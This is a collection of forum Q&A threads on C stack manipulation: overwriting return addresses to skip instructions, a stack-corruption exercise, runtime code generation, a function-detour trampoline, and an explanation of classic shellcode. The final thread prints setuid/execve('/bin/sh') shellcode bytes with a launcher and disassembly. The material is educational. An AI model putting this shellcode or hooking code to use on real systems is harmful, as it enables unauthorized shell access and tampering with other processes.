Buffer overflow in C - c

I'm attempting to write a simple buffer overflow using C on Mac OS X 10.6 64-bit. Here's the concept:
void function() {
char buffer[64];
buffer[offset] += 7; // i'm not sure how large offset needs to be, or if
// 7 is correct.
}
int main() {
int x = 0;
function();
x += 1;
printf("%d\n", x); // the idea is to modify the return address so that
// the x += 1 expression is not executed and 0 gets
// printed
return 0;
}
Here's part of main's assembler dump:
...
0x0000000100000ebe <main+30>: callq 0x100000e30 <function>
0x0000000100000ec3 <main+35>: movl $0x1,-0x8(%rbp)
0x0000000100000eca <main+42>: mov -0x8(%rbp),%esi
0x0000000100000ecd <main+45>: xor %al,%al
0x0000000100000ecf <main+47>: lea 0x56(%rip),%rdi # 0x100000f2c
0x0000000100000ed6 <main+54>: callq 0x100000ef4 <dyld_stub_printf>
...
I want to jump over the movl instruction, which would mean I'd need to increment the return address by 42 - 35 = 7 (correct?). Now I need to know where the return address is stored so I can calculate the correct offset.
I have tried searching for the correct value manually, but either 1 gets printed or I get abort trap – is there maybe some kind of buffer overflow protection going on?
Using an offset of 88 works on my machine. I used Nemo's approach of finding out the return address.

This 32-bit example illustrates how you can figure it out, see below for 64-bit:
#include <stdio.h>
void function() {
char buffer[64];
char *p;
asm("lea 4(%%ebp),%0" : "=r" (p)); // loads address of return address
printf("%d\n", p - buffer); // computes offset
buffer[p - buffer] += 9; // 9 from disassembling main
}
int main() {
volatile int x = 7;
function();
x++;
printf("x = %d\n", x); // prints 7, not 8
}
On my system the offset is 76. That's the 64 bytes of the buffer (remember, the stack grows down, so the start of the buffer is far from the return address) plus whatever other detritus is in between.
Obviously if you are attacking an existing program you can't expect it to compute the answer for you, but I think this illustrates the principle.
(Also, we are lucky that +9 does not carry out into another byte. Otherwise the single byte increment would not set the return address how we expected. This example may break if you get unlucky with the return address within main)
I overlooked the 64-bitness of the original question somehow. The equivalent for x86-64 is 8(%rbp) because pointers are 8 bytes long. In that case my test build happens to produce an offset of 104. In the code above substitute 8(%%rbp) using the double %% to get a single % in the output assembly. This is described in this ABI document. Search for 8(%rbp).
There is a complaint in the comments that 4(%ebp) is just as magic as 76 or any other arbitrary number. In fact the meaning of the register %ebp (also called the "frame pointer") and its relationship to the location of the return address on the stack is standardized. One illustration I quickly Googled is here. That article uses the terminology "base pointer". If you wanted to exploit buffer overflows on other architectures it would require similarly detailed knowledge of the calling conventions of that CPU.

Roddy is right that you need to operate on pointer-sized values.
I would start by reading values in your exploit function (and printing them) rather than writing them. As you crawl past the end of your array, you should start to see values from the stack. Before long you should find the return address and be able to line it up with your disassembler dump.

Disassemble function() and see what it looks like.
Offset needs to be negative positive, maybe 64+8, as it's a 64-bit address. Also, you should do the '+7' on a pointer-sized object, not on a char. Otherwise if the two addresses cross a 256-byte boundary you will have exploited your exploit....

You might try running your code in a debugger, stepping each assembly line at a time, and examining the stack's memory space as well as registers.

I always like to operate on nice data types, like this one:
struct stackframe {
char *sf_bp;
char *sf_return_address;
};
void function() {
/* the following code is dirty. */
char *dummy;
dummy = (char *)&dummy;
struct stackframe *stackframe = dummy + 24; /* try multiples of 4 here. */
/* here starts the beautiful code. */
stackframe->sf_return_address += 7;
}
Using this code, you can easily check with the debugger whether the value in stackframe->sf_return_address matches your expectations.

Related

How to corrupt the stack in a C program

I have to change the designated section of function_b so that it changes the stack in such a way that the program prints:
Executing function_a
Executing function_b
Finished!
At this point it also prints Executed function_b in between Executing function_b and Finished!.
I have the following code and I have to fill something in, in the part where it says // ... insert code here
#include <stdio.h>
void function_b(void){
char buffer[4];
// ... insert code here
fprintf(stdout, "Executing function_b\n");
}
void function_a(void) {
int beacon = 0x0b1c2d3;
fprintf(stdout, "Executing function_a\n");
function_b();
fprintf(stdout, "Executed function_b\n");
}
int main(void) {
function_a();
fprintf(stdout, "Finished!\n");
return 0;
}
I am using Ubuntu Linux with the gcc compiler. I compile the program with the following options: -g -fno-stack-protector -fno-omit-frame-pointer. I am using an intel processor.
Here is a solution, not exactly stable across environments, but works for me on x86_64 processor on Windows/MinGW64.
It may not work for you out of the box, but still, you might want to use a similar approach.
void function_b(void) {
char buffer[4];
buffer[0] = 0xa1; // part 1
buffer[1] = 0xb2;
buffer[2] = 0xc3;
buffer[3] = 0x04;
register int * rsp asm ("rsp"); // part 2
register size_t r10 asm ("r10");
r10 = 0;
while (*rsp != 0x04c3b2a1) {rsp++; r10++;} // part 3
while (*rsp != 0x00b1c2d3) rsp++; // part 4
rsp -= r10; // part 5
rsp = (int *) ((size_t) rsp & ~0xF); // part 6
fprintf(stdout, "Executing function_b\n");
}
The trick is that each of function_a and function_b have only one local variable, and we can find the address of that variable just by searching around in the memory.
First, we put a signature in the buffer, let it be the 4-byte integer 0x04c3b2a1 (remember that x86_64 is little-endian).
After that, we declare two variables to represent the registers: rsp is the stack pointer, and r10 is just some unused register.
This allows to not use asm statements later in the code, while still being able to use the registers directly.
It is important that the variables don't actually take stack memory, they are references to processor registers themselves.
After that, we move the stack pointer in 4-byte increments (since the size of int is 4 bytes) until we get to the buffer. We have to remember the offset from the stack pointer to the first variable here, and we use r10 to store it.
Next, we want to know how far in the stack are the instances of function_b and function_a. A good approximation is how far are buffer and beacon, so we now search for beacon.
After that, we have to push back from beacon, the first variable of function_a, to the start of instance of the whole function_a on the stack.
That we do by subtracting the value stored in r10.
Finally, here comes a werider bit.
At least on my configuration, the stack happens to be 16-byte aligned, and while the buffer array is aligned to the left of a 16-byte block, the beacon variable is aligned to the right of such block.
Or is it something with a similar effect and different explanation?..
Anyway, so we just clear the last four bits of the stack pointer to make it 16-byte aligned again.
The 32-bit GCC doesn't align anything for me, so you might want to skip or alter this line.
When working on a solution, I found the following macro useful:
#ifdef DEBUG
#define show_sp() \
do { \
register void * rsp asm ("rsp"); \
fprintf(stdout, "stack pointer is %016X\n", rsp); \
} while (0);
#else
#define show_sp() do{}while(0);
#endif
After this, when you insert a show_sp(); in your code and compile with -DDEBUG, it prints what is the value of stack pointer at the respective moment.
When compiling without -DDEBUG, the macro just compiles to an empty statement.
Of course, other variables and registers can be printed in a similar way.
ok, let assume that epilogue (i.e code at } line) of function_a and for function_b is the same
despite functions A and B not symmetric, we can assume this because it have the same signature (no parameters, no return value), same calling conventions and same size of local variables (4 byte - int beacon = 0x0b1c2d3 vs char buffer[4];) and with optimization - both must be dropped because unused. but we must not use additional local variables in function_b for not break this assumption. most problematic point here - what is function_A or function_B will be use nonvolatile registers (and as result save it in prologue and restore in epilogue) - but however look like here no place for this.
so my next code based on this assumption - epilogueA == epilogueB (really solution of #Gassa also based on it.
also need very clearly state that function_a and function_b must not be inline. this is very important - without this any solution impossible. so I let yourself add noinline attribute to function_a and function_b. note - not code change but attribute add, which author of this task implicitly implies but not clearly stated. don't know how in GCC mark function as noinline but in CL __declspec(noinline) for this used.
next code I write for CL compiler where exist next intrinsic function
void * _AddressOfReturnAddress();
but I think that GCC also must have the analog of this function. also I use
void* _ReturnAddress();
but however really _ReturnAddress() == *(void**)_AddressOfReturnAddress() and we can use _AddressOfReturnAddress() only. simply using _ReturnAddress() make source (but not binary - it equal) code smaller and more readable.
and next code is work for both x86 and x64. and this code work (tested) with any optimization.
despite I use 2 global variables - code is thread safe - really we can call main from multiple threads in concurrent, call it multiple time - but all will be worked correct (only of course how I say at begin if epilogueA == epilogueB)
hope comments in code enough self explained
__declspec(noinline) void function_b(void){
char buffer[4];
buffer[0] = 0;
static void *IPa, *IPb;
// save the IPa address
_InterlockedCompareExchangePointer(&IPa, _ReturnAddress(), 0);
if (_ReturnAddress() == IPa)
{
// we called from function_a
function_b();
// <-- IPb
if (_ReturnAddress() == IPa)
{
// we called from function_a, change return address for return to IPb instead IPa
*(void**)_AddressOfReturnAddress() = IPb;
return;
}
// we at stack of function_a here.
// we must be really at point IPa
// and execute fprintf(stdout, "Executed function_b\n"); + '}' (epilogueA)
// but we will execute fprintf(stdout, "Executing function_b\n"); + '}' (epilogueB)
// assume that epilogueA == epilogueB
}
else
{
// we called from function_b
IPb = _ReturnAddress();
return;
}
fprintf(stdout, "Executing function_b\n");
// epilogueB
}
__declspec(noinline) void function_a(void) {
int beacon = 0x0b1c2d3;
fprintf(stdout, "Executing function_a\n");
function_b();
// <-- IPa
fprintf(stdout, "Executed function_b\n");
// epilogueA
}
int main(void) {
function_a();
fprintf(stdout, "Finished!\n");
return 0;
}

Generating functions at runtime in C

I would like to generate a function at runtime in C. And by this I mean I would essentially like to allocate some memory, point at it and execute it via function pointer. I realize this is a very complex topic and my question is naïve. I also realize there are some very robust libraries out there that do this (e.g. nanojit).
But I would like to learn the technique, starting with the basics. Could someone knowledgeable give me a very simple example in C?
EDIT: The answer below is great but here is the same example for Windows:
#include <Windows.h>
#define MEMSIZE 100*1024*1024
typedef void (*func_t)(void);
int main() {
HANDLE proc = GetCurrentProcess();
LPVOID p = VirtualAlloc(
NULL,
MEMSIZE,
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
func_t func = (func_t)p;
PDWORD code = (PDWORD)p;
code[0] = 0xC3; // ret
if(FlushInstructionCache(
proc,
NULL,
0))
{
func();
}
CloseHandle(proc);
VirtualFree(p, 0, MEM_RELEASE);
return 0;
}
As said previously by other posters, you'll need to know your platform pretty well.
Ignoring the issue of casting a object pointer to a function pointer being, technically, UB, here's an example that works for x86/x64 OS X (and possibly Linux too). All the generated code does is return to the caller.
#include <unistd.h>
#include <sys/mman.h>
typedef void (*func_t)(void);
int main() {
/*
* Get a RWX bit of memory.
* We can't just use malloc because the memory it returns might not
* be executable.
*/
unsigned char *code = mmap(NULL, getpagesize(),
PROT_READ|PROT_EXEC|PROT_WRITE,
MAP_SHARED|MAP_ANON, 0, 0);
/* Technically undefined behaviour */
func_t func = (func_t) code;
code[0] = 0xC3; /* x86 'ret' instruction */
func();
return 0;
}
Obviously, this will be different across different platforms but it outlines the basics needed: get executable section of memory, write instructions, execute instructions.
This requires you to know your platform. For instance, what is the C calling convention on your platform? Where are parameters stored? What register holds the return value? What registers must be saved and restored? Once you know that, you can essentially write some C code that assembles code into a block of memory, then cast that memory into a function pointer (though this is technically forbidden in ANSI C, and will not work depending if your platform marks some pages of memory as non-executable aka NX bit).
The simple way to go about this is simply to write some code, compile it, then disassemble it and look at what bytes correspond to which instructions. You can write some C code that fills allocated memory with that collection of bytes and then casts it to a function pointer of the appropriate type and executes.
It's probably best to start by reading the calling conventions for your architecture and compiler. Then learn to write assembly that can be called from C (i.e., follows the calling convention).
If you have tools, they can help you get some things right easier. For example, instead of trying to design the right function prologue/epilogue, I can just code this in C:
int foo(void* Data)
{
return (Data != 0);
}
Then (MicrosoftC under Windows) feed it to "cl /Fa /c foo.c". Then I can look at "foo.asm":
_Data$ = 8
; Line 2
push ebp
mov ebp, esp
; Line 3
xor eax, eax
cmp DWORD PTR _Data$[ebp], 0
setne al
; Line 4
pop ebp
ret 0
I could also use "dumpbin /all foo.obj" to see that the exact bytes of the function were:
00000000: 55 8B EC 33 C0 83 7D 08 00 0F 95 C0 5D C3
Just saves me some time getting the bytes exactly right...

Writing a Trampoline Function

I have managed to overwrite the first few bytes of a function in memory and detour it to my own function. I'm now having problems creating a trampoline function to bounce control back over to the real function.
This is a second part to my question here.
BYTE *buf = (BYTE*)VirtualAlloc(buf, 12, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
void (*ptr)(void) = (void (*)(void))buf;
vm_t* VM_Create( const char *module, intptr_t (*systemCalls)(intptr_t *), vmInterpret_t interpret )
{
MessageBox(NULL, L"Oh Snap! VM_Create Hooked!", L"Success!", MB_OK);
ptr();
return NULL;//control should never get this far
}
void Hook_VM_Create(void)
{
DWORD dwBackup;
VirtualProtect((void*)0x00477C3E, 7, PAGE_EXECUTE_READWRITE, &dwBackup);
//save the original bytes
memset(buf, 0x90, sizeof(buf));
memcpy(buf, (void*)0x00477C3E, 7);
//finish populating the buffer with the jump instructions to the original functions
BYTE *jmp2 = (BYTE*)malloc(5);
int32_t offset2 = ((int32_t)0x00477C3E+7) - ((int32_t)&buf+12);
memset((void*)jmp2, 0xE9, 1);
memcpy((void*)(jmp2+1), &offset2, sizeof(offset2));
memcpy((void*)(buf+7), jmp2, 5);
VirtualProtect((void*)0x00477C3E, 7, PAGE_EXECUTE_READ, &dwBackup);
}
0x00477C3E is the address of the function that has been overwritten. The asm for the original function are saved to buf before i over write them. Then my 5 byte jmp instruction is added to buf to return to the rest of the original function.
The problem arises when ptr() is called, the program crashes. When debugging the site it crashes at does not look like my ptr() function, however double checking my offset calculation looks correct.
NOTE: superfluous code is omitted to make reading through everything easier
EDIT: This is what the ptr() function looks like in ollydbg
0FFB0000 55 PUSH EBP
0FFB0001 57 PUSH EDI
0FFB0002 56 PUSH ESI
0FFB0003 53 PUSH EBX
0FFB0004 83EC 0C SUB ESP,0C
0FFB0007 -E9 F1484EFD JMP 0D4948FD
So it would appear as though my offset calculation is wrong.
So your buf[] ends up containing 2 things:
7 first bytes of the original instruction
jmp
Then you transfer control to buf. Is it guaranteed that the first 7 bytes contain only whole instructions? If not, you can crash while or after executing the last, incomplete instruction beginning in those 7 bytes.
Is it guaranteed that the instructions in those 7 bytes do not do any EIP-relative calculations (this includes instructions with EIP-relative addressing such as jumps and calls primarily)? If not, continuation in the original function won't work properly and probably will end up crashing the program.
Does the original function take any parameters? If it does, simply doing ptr(); will make that original code work with garbage taken from the registers and/or stack (depends on the calling convention) and can crash.
EDIT: One more thing. Use buf+12 instead of &buf+12. In your code buf is a pointer, not array.

How to skip a line doing a buffer overflow in C

I want to skip a line in C, the line x=1; in the main section using bufferoverflow; however, I don't know why I can not skip the address from 4002f4 to the next address 4002fb in spite of the fact that I am counting 7 bytes form <main+35> to <main+42>.
I also have configured the options the randomniZation and execstack environment in a Debian and AMD environment, but I am still getting x=1;. What it's wrong with this procedure?
I have used dba to debug the stack and the memory addresses:
0x00000000004002ef <main+30>: callq 0x4002a4 **<function>**
**0x00000000004002f4** <main+35>: movl $0x1,-0x4(%rbp)
**0x00000000004002fb** <main+42>: mov -0x4(%rbp),%esi
0x00000000004002fe <main+45>: mov $0x4629c4,%edi
void function(int a, int b, int c)
{
char buffer[5];
int *ret;
ret = buffer + 12;
(*ret) += 8;
}
int main()
{
int x = 0;
function(1, 2, 3);
x = 1;
printf("x = %i \n", x);
return 0;
}
You must be reading Smashing the Stack for Fun and Profit article. I was reading the same article and have found the same problem it wasnt skipping that instruction. After a few hours debug session in IDA I have changed the code like below and it is printing x=0 and b=5.
#include <stdio.h>
void function(int a, int b) {
int c=0;
int* pointer;
pointer =&c+2;
(*pointer)+=8;
}
void main() {
int x =0;
function(1,2);
x = 3;
int b =5;
printf("x=%d\n, b=%d\n",x,b);
getch();
}
In order to alter the return address within function() to skip over the x = 1 in main(), you need two pieces of information.
1. The location of the return address in the stack frame.
I used gdb to determine this value. I set a breakpoint at function() (break function), execute the code up to the breakpoint (run), retrieve the location in memory of the current stack frame (p $rbp or info reg), and then retrieve the location in memory of buffer (p &buffer). Using the retrieved values, the location of the return address can be determined.
(compiled w/ GCC -g flag to include debug symbols and executed in a 64-bit environment)
(gdb) break function
...
(gdb) run
...
(gdb) p $rbp
$1 = (void *) 0x7fffffffe270
(gdb) p &buffer
$2 = (char (*)[5]) 0x7fffffffe260
(gdb) quit
(frame pointer address + size of word) - buffer address = number of bytes from local buffer variable to return address
(0x7fffffffe270 + 8) - 0x7fffffffe260 = 24
If you are having difficulties understanding how the call stack works, reading the call stack and function prologue Wikipedia articles may help. This shows the difficulty in making "buffer overflow" examples in C. The offset of 24 from buffer assumes a certain padding style and compile options. GCC will happily insert stack canaries nowadays unless you tell it not to.
2. The number of bytes to add to the return address to skip over x = 1.
In your case the saved instruction pointer will point to 0x00000000004002f4 (<main+35>), the first instruction after function returns. To skip the assignment you need to make the saved instruction pointer point to 0x00000000004002fb (<main+42>).
Your calculation that this is 7 bytes is correct (0x4002fb - 0x4002fb = 7).
I used gdb to disassemble the application (disas main) and verified the calculation for my case as well. This value is best resolved manually by inspecting the disassembly.
Note that I used a Ubuntu 10.10 64-bit environment to test the following code.
#include <stdio.h>
void function(int a, int b, int c)
{
char buffer[5];
int *ret;
ret = (int *)(buffer + 24);
(*ret) += 7;
}
int main()
{
int x = 0;
function(1, 2, 3);
x = 1;
printf("x = %i \n", x);
return 0;
}
output
x = 0
This is really just altering the return address of function() rather than an actual buffer overflow. In an actual buffer overflow, you would be overflowing buffer[5] to overwrite the return address. However, most modern implementations use techniques such as stack canaries to protect against this.
What you're doing here doesn't seem to have much todo with a classic bufferoverflow attack. The whole idea of a bufferoverflow attack is to modify the return adress of 'function'. Disassembling your program will show you where the ret instruction (assuming x86) takes its adress from. This is what you need to modify to point at main+42.
I assume you want to explicitly provoke the bufferoverflow here, normally you'd need to provoke it by manipulating the inputs of 'function'.
By just declaring a buffer[5] you're moving the stackpointer in the wrong direction (verify this by looking at the generated assembly), the return adress is somewhere deeper inside in the stack (it was put there by the call instruction). In x86 stacks grow downwards, that is towards lower adresses.
I'd approach this by declaring an int* and moving it upward until I'm at the specified adress where the return adress has been pushed, then modify that value to point at main+42 and let function ret.
You can't do that this way.
Here's a classic bufferoverflow code sample. See what happens once you feed it with 5 and then 6 characters from your keyboard. If you go for more (16 chars should do) you'll overwrite base pointer, then function return address and you'll get segmentation fault. What you want to do is to figure out which 4 chars overwrite the return addr. and make the program execute your code. Google around linux stack, memory structure.
void ff(){
int a=0; char b[5];
scanf("%s",b);
printf("b:%x a:%x\n" ,b ,&a);
printf("b:'%s' a:%d\n" ,b ,a);
}
int main() {
ff();
return 0;
}

can anyone explain this code to me?

WARNING: This is an exploit. Do not execute this code.
//shellcode.c
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() {
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
can anyone give me a better explanation ?
Apparently, this code attempts to change the stack so that when the main function returns, program execution does not return regularly into the runtime library (which would normally terminate the program), but would jump instead into the code saved in the shellcode array.
1) int *ret;
defines a variable on the stack, just beneath the main function's arguments.
2) ret = (int *)&ret + 2;
lets the ret variable point to a int * that is placed two ints above ret on the stack. Supposedly that's where the return address is located where the program will continue when main returns.
2) (*ret) = (int)shellcode;
The return address is set to the address of the shellcode array's contents, so that shellcode's contents will be executed when main returns.
shellcode seemingly contains machine instructions that possibly do a system call to launch /bin/sh. I could be wrong on this as I didn't actually disassemble shellcode.
P.S.: This code is machine- and compiler-dependent and will possibly not work on all platforms.
Reply to your second question:
and what happens if I use
ret=(int)&ret +2 and why did we add 2?
why not 3 or 4??? and I think that int
is 4 bytes so 2 will be 8bytes no?
ret is declared as an int*, therefore assigning an int (such as (int)&ret) to it would be an error. As to why 2 is added and not any other number: apparently because this code assumes that the return address will lie at that location on the stack. Consider the following:
This code assumes that the call stack grows downward when something is pushed on it (as it indeed does e.g. with Intel processors). That is the reason why a number is added and not subtracted: the return address lies at a higher memory address than automatic (local) variables (such as ret).
From what I remember from my Intel assembly days, a C function is often called like this: First, all arguments are pushed onto the stack in reverse order (right to left). Then, the function is called. The return address is thus pushed on the stack. Then, a new stack frame is set up, which includes pushing the ebp register onto the stack. Then, local variables are set up on the stack beneath all that has been pushed onto it up to this point.
Now I assume the following stack layout for your program:
+-------------------------+
| function arguments | |
| (e.g. argv, argc) | | (note: the stack
+-------------------------+ <-- ss:esp + 12 | grows downward!)
| return address | |
+-------------------------+ <-- ss:esp + 8 V
| saved ebp register |
+-------------------------+ <-- ss:esp + 4 / ss:ebp - 0 (see code below)
| local variable (ret) |
+-------------------------+ <-- ss:esp + 0 / ss:ebp - 4
At the bottom lies ret (which is a 32-bit integer). Above it is the saved ebp register (which is also 32 bits wide). Above that is the 32-bit return address. (Above that would be main's arguments -- argc and argv -- but these aren't important here.) When the function executes, the stack pointer points at ret. The return address lies 64 bits "above" ret, which corresponds to the + 2 in
ret = (int*)&ret + 2;
It is + 2 because ret is a int*, and an int is 32 bit, therefore adding 2 means setting it to a memory location 2 × 32 bits (=64 bits) above (int*)&ret... which would be the return address' location, if all the assumptions in the above paragraph are correct.
Excursion: Let me demonstrate in Intel assembly language how a C function might be called (if I remember correctly -- I'm no guru on this topic so I might be wrong):
// first, push all function arguments on the stack in reverse order:
push argv
push argc
// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call main
// (afterwards: clean up stack by removing the function arguments, e.g.:)
add esp, 8
Inside main, the following might happen:
// create a new stack frame and make room for local variables:
push ebp
mov ebp, esp
sub esp, 4
// access return address:
mov edi, ss:[ebp+4]
// access argument 'argc'
mov eax, ss:[ebp+8]
// access argument 'argv'
mov ebx, ss:[ebp+12]
// access local variable 'ret'
mov edx, ss:[ebp-4]
...
// restore stack frame and return to caller (by popping the return address)
mov esp, ebp
pop ebp
retf
See also: Description of the procedure call sequence in C for another explanation of this topic.
The actual shellcode is:
(gdb) x /25i &shellcode
0x804a040 <shellcode>: xor %eax,%eax
0x804a042 <shellcode+2>: xor %ebx,%ebx
0x804a044 <shellcode+4>: mov $0x17,%al
0x804a046 <shellcode+6>: int $0x80
0x804a048 <shellcode+8>: jmp 0x804a069 <shellcode+41>
0x804a04a <shellcode+10>: pop %esi
0x804a04b <shellcode+11>: mov %esi,0x8(%esi)
0x804a04e <shellcode+14>: xor %eax,%eax
0x804a050 <shellcode+16>: mov %al,0x7(%esi)
0x804a053 <shellcode+19>: mov %eax,0xc(%esi)
0x804a056 <shellcode+22>: mov $0xb,%al
0x804a058 <shellcode+24>: mov %esi,%ebx
0x804a05a <shellcode+26>: lea 0x8(%esi),%ecx
0x804a05d <shellcode+29>: lea 0xc(%esi),%edx
0x804a060 <shellcode+32>: int $0x80
0x804a062 <shellcode+34>: xor %ebx,%ebx
0x804a064 <shellcode+36>: mov %ebx,%eax
0x804a066 <shellcode+38>: inc %eax
0x804a067 <shellcode+39>: int $0x80
0x804a069 <shellcode+41>: call 0x804a04a <shellcode+10>
0x804a06e <shellcode+46>: das
0x804a06f <shellcode+47>: bound %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>: das
0x804a073 <shellcode+51>: jae 0x804a0dd
0x804a075 <shellcode+53>: add %al,(%eax)
This corresponds to roughly
setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);
That string is from an old document on buffer overflows, and will execute /bin/sh. Since it's malicious code (well, when paired with a buffer exploit) - you should really include it's origin next time.
From that same document, how to code stack based exploits :
/* the shellcode is hex for: */
#include <stdio.h>
main() {
char *name[2];
name[0] = "sh";
name[1] = NULL;
execve("/bin/sh",name,NULL);
}
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
The code you included causes the contents of shellcode[] to be executed, running execve, and providing access to the shell. And the term Shellcode? From Wikipedia :
In computer security, a shellcode is a
small piece of code used as the
payload in the exploitation of a
software vulnerability. It is called
"shellcode" because it typically
starts a command shell from which the
attacker can control the compromised
machine. Shellcode is commonly written
in machine code, but any piece of code
that performs a similar task can be
called shellcode.
Without looking up all the actual opcodes to confirm, the shellcode array contains the machine code necessary to exec /bin/sh. This shellcode is machine code carefully constructed to perform the desired operation on a specific target platform and not to contain any null bytes.
The code in main() is changing the return address and the flow of execution in order to cause the program to spawn a shell by having the instructions in the shellcode array executed.
See Smashing The Stack For Fun And Profit for a description on how shellcode such as this can be created and how it might be used.
The string contains a series of bytes represented in hexadecimal.
The bytes encode a series of instructions for a particular processor on a particular platform — hopefully, yours. (Edit: if it's malware, hopefully not yours!)
The variable is defined just to get a handle to the stack. A bookmark, if you will. Then pointer arithmetic is used, again platform-dependent, to manipulate the state of the program to cause the processor to jump to and execute the bytes in the string.
Each \xXX is a hexadecimal number. One, two or three of such numbers together form an op-code (google for it). Together it forms assembly which can be executed by the machine more or less directly. And this code tries to execute the shellcode.
I think the shellcode tries to spawn a shell.
This is just spawn /bin/sh, for example in C like execve("/bin/sh", NULL, NULL);

Resources